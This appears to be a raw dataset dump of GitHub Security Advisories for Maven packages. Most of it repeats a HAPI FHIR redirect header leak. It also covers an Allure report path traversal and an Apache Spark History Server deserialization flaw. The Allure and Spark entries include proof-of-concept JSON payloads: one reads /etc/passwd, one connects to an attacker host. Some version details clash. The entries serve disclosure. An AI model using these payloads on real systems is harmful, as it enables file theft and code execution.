deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.validation (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.r5 (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.r4b (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.r4 (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.model (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.dstu2016may (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.dstu3.support (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.dstu3 (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.dstu2 (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.convertors (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-p7m9-v2cm-2h7m
Package: ca.uhn.hapi.fhir:org.hl7.fhir.utilities (MAVEN)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 6.9.0
Patched in: 6.9.0

Summary: HAPI FHIR HTTP authentication leak in redirects

Details:
### Impact
When setting headers in HTTP requests, the internal HTTP client sends headers first to the host in the initial URL but also, if asked to follow redirects and a 30X HTTP response code is returned, to the host mentioned in URL in the Location: response header value.

Sending the same set of headers to subsequent hosts is a problem as this header often contains privacy sensitive information or data that could allow others to impersonate the  client's request.

### Patches
This issue has been patched in release 6.8.3 

### Workarounds
None.
GitHub Security Advisory: GHSA-64hm-gfwq-jppw
Package: io.qameta.allure:allure-generator (MAVEN)
Severity: HIGH (CVSS 8.6)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 2.37.0
Patched in: 2.38.0

Summary: Allure Report has an Arbitrary File Read via Path Traversal in Attachment Processing (Allure 1, Allure 2, and XCTest Readers)

Details:
### Summary
The Allure report generator is vulnerable to an arbitrary file read via path traversal when processing test results. An attacker can craft a malicious result file (-result.json, -container.json, or .plist) that points an attachment source to a sensitive file on the host system. During report generation, Allure will resolve these paths and include the sensitive files in the final report.

### Details
The vulnerability exists in several plugins where attachment paths are resolved using unvalidated user input. The code uses Path.resolve() without normalizing the path or checking if the resulting file remains within the intended results directory.

Affected Files and Lines:

Allure2Plugin.java (Line 264): `final Path attachmentFile = source.resolve(attachment.getSource());`

Allure1Plugin.java (Line 328): `final Path attachmentFile = source.resolve(attachment.getSource());`

XcTestPlugin.java (Line 181): `attachments.resolve(String.format("Screenshot_%s.%s", uuid, ext))`

Since `resolve()` allows absolute paths or ../ sequences to escape the base directory, any file readable by the process can be exfiltrated.

### PoC
1) Create a directory named allure-results.

2) Create a file malicious-result.json inside it:

```
{
  "uuid": "poc-traversal",
  "name": "Path Traversal PoC",
  "status": "passed",
  "attachments": [
    {
      "name": "Sensitive Data",
      "source": "../../../../../../../../../../../etc/passwd",
      "type": "text/plain"
    }
  ]
}
```
3) run `allure generate allure-results -o allure-report`

4) The content of `/etc/passwd` will now be present in `allure-report/data/attachments/`.


### Impact
This is a High Severity vulnerability. In CI/CD environments (GitHub Actions, Jenkins), an attacker submitting a Pull Request can exfiltrate server secrets, cloud credentials, or environment configuration files stored on the runner disk. It also may affect custom Allure web services where users can upload results, allowing them to read arbitrary files from the server's filesystem. Allure TestOps is not affected.
GitHub Security Advisory: GHSA-jwp6-cvj8-fw65
Package: org.apache.spark:spark-core_2.9.3 (MAVEN)
Severity: HIGH (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.8.1-incubating
Patched in: unpatched

Summary: Apache Spark: Spark History Server Code Execution Vulnerability

Details:
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

## Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

## Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

## Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

```
{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
```
3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

## Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
GitHub Security Advisory: GHSA-jwp6-cvj8-fw65
Package: org.apache.spark:spark-core_2.10 (MAVEN)
Severity: HIGH (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 2.2.3
Patched in: unpatched

Summary: Apache Spark: Spark History Server Code Execution Vulnerability

Details:
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

## Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

## Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

## Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

```
{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
```
3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

## Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
GitHub Security Advisory: GHSA-jwp6-cvj8-fw65
Package: org.apache.spark:spark-core_2.11 (MAVEN)
Severity: HIGH (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 2.4.8
Patched in: unpatched

Summary: Apache Spark: Spark History Server Code Execution Vulnerability

Details:
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

## Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

## Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

## Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

```
{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
```
3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

## Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
GitHub Security Advisory: GHSA-jwp6-cvj8-fw65
Package: org.apache.spark:spark-core_2.12 (MAVEN)
Severity: HIGH (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 3.5.7
Patched in: 3.5.7

Summary: Apache Spark: Spark History Server Code Execution Vulnerability

Details:
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

## Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

## Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

## Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:

```
{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
```
3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

## Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.